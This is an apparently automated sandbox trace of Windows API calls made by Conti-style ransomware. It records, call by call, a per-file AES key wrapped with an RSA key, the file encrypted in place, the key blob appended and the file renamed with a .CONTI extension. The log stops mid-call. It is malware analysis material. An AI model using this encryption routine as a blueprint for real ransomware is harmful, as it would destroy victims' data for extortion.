	[0151.588] WriteFile (in: hFile=0x4a0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x4400, lpOverlapped=0x0) returned 1
	[0151.588] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.588] WriteFile (in: hFile=0x4a0, lpBuffer=0x65dcde8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65dcde8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0151.588] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.588] CloseHandle (hObject=0x4a0) returned 1
	[0151.588] GetProcessHeap () returned 0x1720000
	[0151.588] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.588] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\loading.gif" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\loading.gif") returned="C:\\Windows10Upgrade\\resources\\ux\\loading.gif"
	[0151.588] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\loading.gif", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.CONTI"
	[0151.589] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif.conti")) returned 1
	[0151.589] GetProcessHeap () returned 0x1720000
	[0151.589] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.589] CryptDestroyKey (hKey=0x17de890) returned 1
	[0151.589] GetProcessHeap () returned 0x1720000
	[0151.589] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1218 | out: hHeap=0x1720000) returned 1
	[0151.589] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0151.589] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d12e0 | out: phKey=0x65d12e0*=0x17de590) returned 1
	[0151.589] CryptExportKey (in: hKey=0x17de590, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d12e4, pdwDataLen=0x587f8ac | out: pbData=0x65d12e4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0151.590] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css")) returned 0x20
	[0151.590] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0151.591] GetLastError () returned 0x0
	[0151.591] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=40953) returned 1
	[0151.591] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9ff9
	[0151.591] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.591] SetEndOfFile (hFile=0x4a0) returned 1
	[0151.591] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.591] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.591] WriteFile (in: hFile=0x4a0, lpBuffer=0x65d12e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d12e4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0151.594] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.594] ReadFile (in: hFile=0x4a0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x9ff9, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x9ff9, lpOverlapped=0x0) returned 1
	[0151.599] CryptEncrypt (in: hKey=0x17de590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x9ff9, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0xa000) returned 1
	[0151.599] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.599] WriteFile (in: hFile=0x4a0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0xa000, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0xa000, lpOverlapped=0x0) returned 1
	[0151.599] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.599] WriteFile (in: hFile=0x4a0, lpBuffer=0x65d12d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d12d8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0151.599] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.599] CloseHandle (hObject=0x4a0) returned 1
	[0151.599] GetProcessHeap () returned 0x1720000
	[0151.599] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.599] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css"
	[0151.599] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.CONTI"
	[0151.600] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css.conti")) returned 1
	[0151.600] GetProcessHeap () returned 0x1720000
	[0151.600] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.600] CryptDestroyKey (hKey=0x17de590) returned 1
	[0151.600] GetProcessHeap () returned 0x1720000
	[0151.600] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6895c28 | out: hHeap=0x1720000) returned 1
	[0151.600] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0151.600] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65dd958 | out: phKey=0x65dd958*=0x17de710) returned 1
	[0151.600] CryptExportKey (in: hKey=0x17de710, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dd95c, pdwDataLen=0x587f8ac | out: pbData=0x65dd95c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0151.601] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js")) returned 0x20
	[0151.603] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0151.604] GetLastError () returned 0x0
	[0151.604] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=1283526) returned 1
	[0151.604] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1395c6
	[0151.604] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.604] SetEndOfFile (hFile=0x4a0) returned 1
	[0151.604] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.604] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.604] WriteFile (in: hFile=0x4a0, lpBuffer=0x65dd95c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65dd95c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0151.609] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.609] ReadFile (in: hFile=0x4a0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x1395c6, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x1395c6, lpOverlapped=0x0) returned 1
	[0151.625] CryptEncrypt (in: hKey=0x17de710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1395c6, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1395d0) returned 1
	[0151.626] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.626] WriteFile (in: hFile=0x4a0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x1395d0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x1395d0, lpOverlapped=0x0) returned 1
	[0151.629] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.629] WriteFile (in: hFile=0x4a0, lpBuffer=0x65dd950*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65dd950*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0151.629] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.629] CloseHandle (hObject=0x4a0) returned 1
	[0151.630] GetProcessHeap () returned 0x1720000
	[0151.630] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.630] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js"
	[0151.630] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.CONTI"
	[0151.630] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js.conti")) returned 1
	[0151.631] GetProcessHeap () returned 0x1720000
	[0151.631] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.631] CryptDestroyKey (hKey=0x17de710) returned 1
	[0151.631] GetProcessHeap () returned 0x1720000
	[0151.631] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7adc0 | out: hHeap=0x1720000) returned 1
	[0151.631] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0151.631] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b2b8 | out: phKey=0x6b4b2b8*=0x17de910) returned 1
	[0151.631] CryptExportKey (in: hKey=0x17de910, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b2bc, pdwDataLen=0x587f8ac | out: pbData=0x6b4b2bc*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0151.632] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht")) returned 0x20
	[0151.632] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0151.632] GetLastError () returned 0x0
	[0151.632] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=622093) returned 1
	[0151.632] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x97e0d
	[0151.632] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.632] SetEndOfFile (hFile=0x4a0) returned 1
	[0151.633] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.633] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.633] WriteFile (in: hFile=0x4a0, lpBuffer=0x6b4b2bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x6b4b2bc*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0152.481] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0152.481] ReadFile (in: hFile=0x4a0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x97e0d, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x97e0d, lpOverlapped=0x0) returned 1
	[0152.519] CryptEncrypt (in: hKey=0x17de910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x97e0d, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x97e10) returned 1
	[0152.520] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0152.520] WriteFile (hFile=0x4a0, lpBuffer=0x10cf0000, nNumberOfBytesToWrite=0x97e10, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0) 

Thread:
	id = 175
	os_tid = 0x1314

	[0093.126] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x11200000
	[0093.127] CryptAcquireContextA (in: phProv=0x59bf808, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x59bf808*=0x176c5f0) returned 1
	[0093.130] CryptImportKey (in: hProv=0x176c5f0, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x59bf804 | out: phKey=0x59bf804*=0x175e370) returned 1
	[0093.130] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0093.355] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17bf370 | out: phKey=0x17bf370*=0x175e3b0) returned 1
	[0093.355] CryptExportKey (in: hKey=0x175e3b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17bf374, pdwDataLen=0x59bf7d4 | out: pbData=0x17bf374*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0093.361] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20
	[0093.363] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.363] GetLastError () returned 0x0
	[0093.363] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=156) returned 1
	[0093.363] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9c
	[0093.363] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.363] SetEndOfFile (hFile=0x338) returned 1
	[0093.365] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.365] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.365] WriteFile (in: hFile=0x338, lpBuffer=0x17bf374*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17bf374*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.367] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.367] ReadFile (in: hFile=0x338, lpBuffer=0x11200000, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x9c, lpOverlapped=0x0) returned 1
	[0093.367] CryptEncrypt (in: hKey=0x175e3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x9c, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0xa0) returned 1
	[0093.367] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.367] WriteFile (in: hFile=0x338, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0xa0, lpOverlapped=0x0) returned 1
	[0093.368] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.368] WriteFile (in: hFile=0x338, lpBuffer=0x17bf368*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x17bf368*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0093.368] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.368] CloseHandle (hObject=0x338) returned 1
	[0093.368] GetProcessHeap () returned 0x1720000
	[0093.368] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d13f8
	[0093.369] lstrcpyW (in: lpString1=0x17d13f8, lpString2="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" | out: lpString1="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini"
	[0093.369] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini", lpString2=".CONTI" | out: lpString1="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.CONTI") returned="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.CONTI"
	[0093.369] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), lpNewFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.CONTI" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.conti")) returned 1
	[0093.369] GetProcessHeap () returned 0x1720000
	[0093.369] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13f8 | out: hHeap=0x1720000) returned 1
	[0093.369] CryptDestroyKey (hKey=0x175e3b0) returned 1
	[0093.369] GetProcessHeap () returned 0x1720000
	[0093.369] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732540 | out: hHeap=0x1720000) returned 1
	[0093.369] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0093.721] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x17c57d8 | out: phKey=0x17c57d8*=0x175e4f0) returned 1
	[0093.721] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c57dc, pdwDataLen=0x59bf7d4 | out: pbData=0x17c57dc*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0093.722] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80
	[0093.722] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0093.724] GetLastError () returned 0x0
	[0093.724] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=4254) returned 1
	[0093.724] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x109e
	[0093.724] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.724] SetEndOfFile (hFile=0x34c) returned 1
	[0093.728] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.728] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.728] WriteFile (in: hFile=0x34c, lpBuffer=0x17c57dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x17c57dc*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.731] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.731] ReadFile (in: hFile=0x34c, lpBuffer=0x11200000, nNumberOfBytesToRead=0x109e, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x109e, lpOverlapped=0x0) returned 1
	[0093.732] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x109e, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x10a0) returned 1
